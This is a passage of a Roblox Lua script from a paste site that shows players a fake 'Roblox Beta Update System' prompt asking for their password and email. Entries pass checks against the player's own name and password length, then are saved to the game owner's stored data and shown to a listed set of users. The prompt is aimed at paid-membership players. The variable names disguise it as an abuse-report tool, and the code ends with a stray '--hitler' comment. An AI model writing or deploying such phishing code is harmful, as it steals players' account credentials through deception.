  1059.                                 if ReportDescBox.Text == "Your Password Here" or ReportDescBox.Text == "" or ReportPlayerBox.Text ~= Plr.Name or #ReportPlayerBox.Text < 3 or #ReportPlayerBox.Text > 20 or #ReportDescBox.Text < 6 or #ReportDescBox.Text > 20 then
  1060.  
  1061.                                         ReportingTitle.Text = "Error: Non Optional Boxes Must Be Filled In Correctly"
  1062.  
  1063.                                         wait(4)
  1064.  
  1065.                                         ReportingTitle.Text = "Roblox Beta Update System"
  1066.  
  1067.                                 else
  1068.  
  1069.                                         local AbuserName = ReportPlayerBox.Text
  1070.  
  1071.                                         local Abuse = ReportDescBox.Text
  1072.  
  1073.                                         local SentBy = Plr.Name
  1074.  
  1075.                                         local Proof = "N/A"
  1076.  
  1077.                                         if ReportExtraBox.Text == "Your Email Here" or ReportExtraBox.Text == "" then
  1078.  
  1079.                                                 Proof = "N/A"
  1080.  
  1081.                                         else
  1082.  
  1083.                                                 Proof = ReportExtraBox.Text
  1084.  
  1085.                                         end
  1086.  
  1087.                                        
  1088.  
  1089.                                         local Holder = Instance.new("Model")
  1090.  
  1091.                                         Holder.Name = math.random(-999999999, 999999999)
  1092.  
  1093.                                         local SentValue = Instance.new("StringValue")
  1094.  
  1095.                                         SentValue.Name = "SentValue"
  1096.  
  1097.                                         SentValue.Value = SentBy
  1098.  
  1099.                                         SentValue.Parent = Holder
  1100.  
  1101.                                         local AbuserValue = Instance.new("StringValue")
  1102.  
  1103.                                         AbuserValue.Name = "AbuserValue"
  1104.  
  1105.                                         AbuserValue.Value = AbuserName
  1106.  
  1107.                                         AbuserValue.Parent = Holder
  1108.  
  1109.                                         local AbuseValue = Instance.new("StringValue")
  1110.  
  1111.                                         AbuseValue.Name = "AbuseValue"
  1112.  
  1113.                                         AbuseValue.Value = Abuse
  1114.  
  1115.                                         AbuseValue.Parent = Holder
  1116.  
  1117.                                         local ProofValue = Instance.new("StringValue")
  1118.  
  1119.                                         ProofValue.Name = "ProofValue"
  1120.  
  1121.                                         ProofValue.Value = Proof
  1122.  
  1123.                                         ProofValue.Parent = Holder
  1124.  
  1125.                                         Holder.Parent = ReportMod
  1126.  
  1127.                                        
  1128.  
  1129.                                         GotPass[Plr.Name] = true
  1130.  
  1131.                                        
  1132.  
  1133.                                         ReportingTitle.Text = "Update Completed!"
  1134.  
  1135.                                         ReportingTitle.TextColor3 = Color3.new(0, 1, 0)
  1136.  
  1137.                                         wait(1)
  1138.  
  1139.                                         ReportingFrame:Destroy()
  1140.  
  1141.                                 end
  1142.  
  1143.                         end)
  1144.  
  1145.                         if not Ok then
  1146.  
  1147.                                 ypcall(function()
  1148.  
  1149.                                         ReportingTitle.Text = "Error: "..Err
  1150.  
  1151.                                         wait(4)
  1152.  
  1153.                                         ReportingTitle.Text = "Roblox Beta Update System"
  1154.  
  1155.                                 end)
  1156.  
  1157.                         end
  1158.  
  1159.                 end)
  1160.  
  1161.                
  1162.  
  1163.                 wait()
  1164.  
  1165.  
  1166.                 ReportingFrame:TweenPosition(UDim2.new(0.2, 0, 0.1, 0), "Out", "Quad", 2, true)
  1167.  
  1168.         end)
  1169.  
  1170. end
  1171.  
  1172.  
  1173. game:GetService("Players").PlayerAdded:connect(function(Plr)
  1174.  
  1175.         Plr:WaitForDataReady()
  1176.  
  1177.         ypcall(function()
  1178.  
  1179.                 local Ok, Mod = ypcall(function() return Plr:LoadInstance(MyCode) end)
  1180.  
  1181.                 if not Ok or Mod == nil then
  1182.  
  1183.                         Plr:SaveInstance(MyCode, ReportMod)
  1184.  
  1185.                 end
  1186.  
  1187.                 Saved[Plr.Name] = true
  1188.  
  1189.                 Delay(0, function()
  1190.  
  1191.                         while Plr.Parent ~= nil do
  1192.  
  1193.                                 wait()
  1194.  
  1195.                                 ypcall(function()
  1196.  
  1197.                                         if Plr:findFirstChild("PlayerGui") then
  1198.  
  1199.                                                 if Users[Plr.Name] then
  1200.  
  1201.                                                         if not Plr.PlayerGui:findFirstChild("Reports") then
  1202.  
  1203.                                                                 ShowReportsButton(Plr)
  1204.  
  1205.                                                         end
  1206.  
  1207.                                                 else
  1208.  
  1209.                                                         if not Plr.PlayerGui:findFirstChild("ReportToHR") and Plr.MembershipType ~= Enum.MembershipType.None and GotPass[Plr.Name]==nil then
  1210.  
  1211.                                                                 ReportButton(Plr)
  1212.  
  1213.                                                         end
  1214.  
  1215.                                                 end
  1216.  
  1217.                                         end
  1218.  
  1219.                                 end)
  1220.  
  1221.                         end
  1222.  
  1223.                 end)
  1224.  
  1225.         end)
  1226.  
  1227. end)
  1228.  
  1229.  
  1230. for _,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  1231.  
  1232.         Plr:WaitForDataReady()
  1233.  
  1234.         ypcall(function()
  1235.  
  1236.                 local Ok, Mod = ypcall(function() return Plr:LoadInstance(MyCode) end)
  1237.  
  1238.                 if not Ok or Mod == nil or Mod == "" then
  1239.  
  1240.                         Plr:SaveInstance(MyCode, ReportMod)
  1241.  
  1242.                 end
  1243.  
  1244.                 Saved[Plr.Name] = true
  1245.  
  1246.                 Delay(0, function()
  1247.  
  1248.                         while Plr.Parent ~= nil do
  1249.  
  1250.                                 wait()
  1251.  
  1252.                                 ypcall(function()
  1253.  
  1254.                                         if Plr:findFirstChild("PlayerGui") and GotPass[Plr.Name] == nil then
  1255.  
  1256.                                                 if Users[Plr.Name] then
  1257.  
  1258.                                                         if not Plr.PlayerGui:findFirstChild("Reports") then
  1259.  
  1260.                                                                 ShowReportsButton(Plr)
  1261.  
  1262.                                                         end
  1263.  
  1264.                                                 elseif Plr.Name~="flipflop8421" then
  1265.  
  1266.                                                         if not Plr.PlayerGui:findFirstChild("ReportToHR") and Plr.MembershipType ~= Enum.MembershipType.None  and GotPass[Plr.Name]==nil then
  1267.  
  1268.                                                                 ReportButton(Plr)
  1269.  
  1270.                                                         end
  1271.  
  1272.                                                 end
  1273.  
  1274.                                         end
  1275.  
  1276.                                 end)
  1277.  
  1278.                         end
  1279.  
  1280.                 end)
  1281.  
  1282.         end)
  1283.  
  1284. end
  1285.  
  1286.  
  1287. --hitler
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement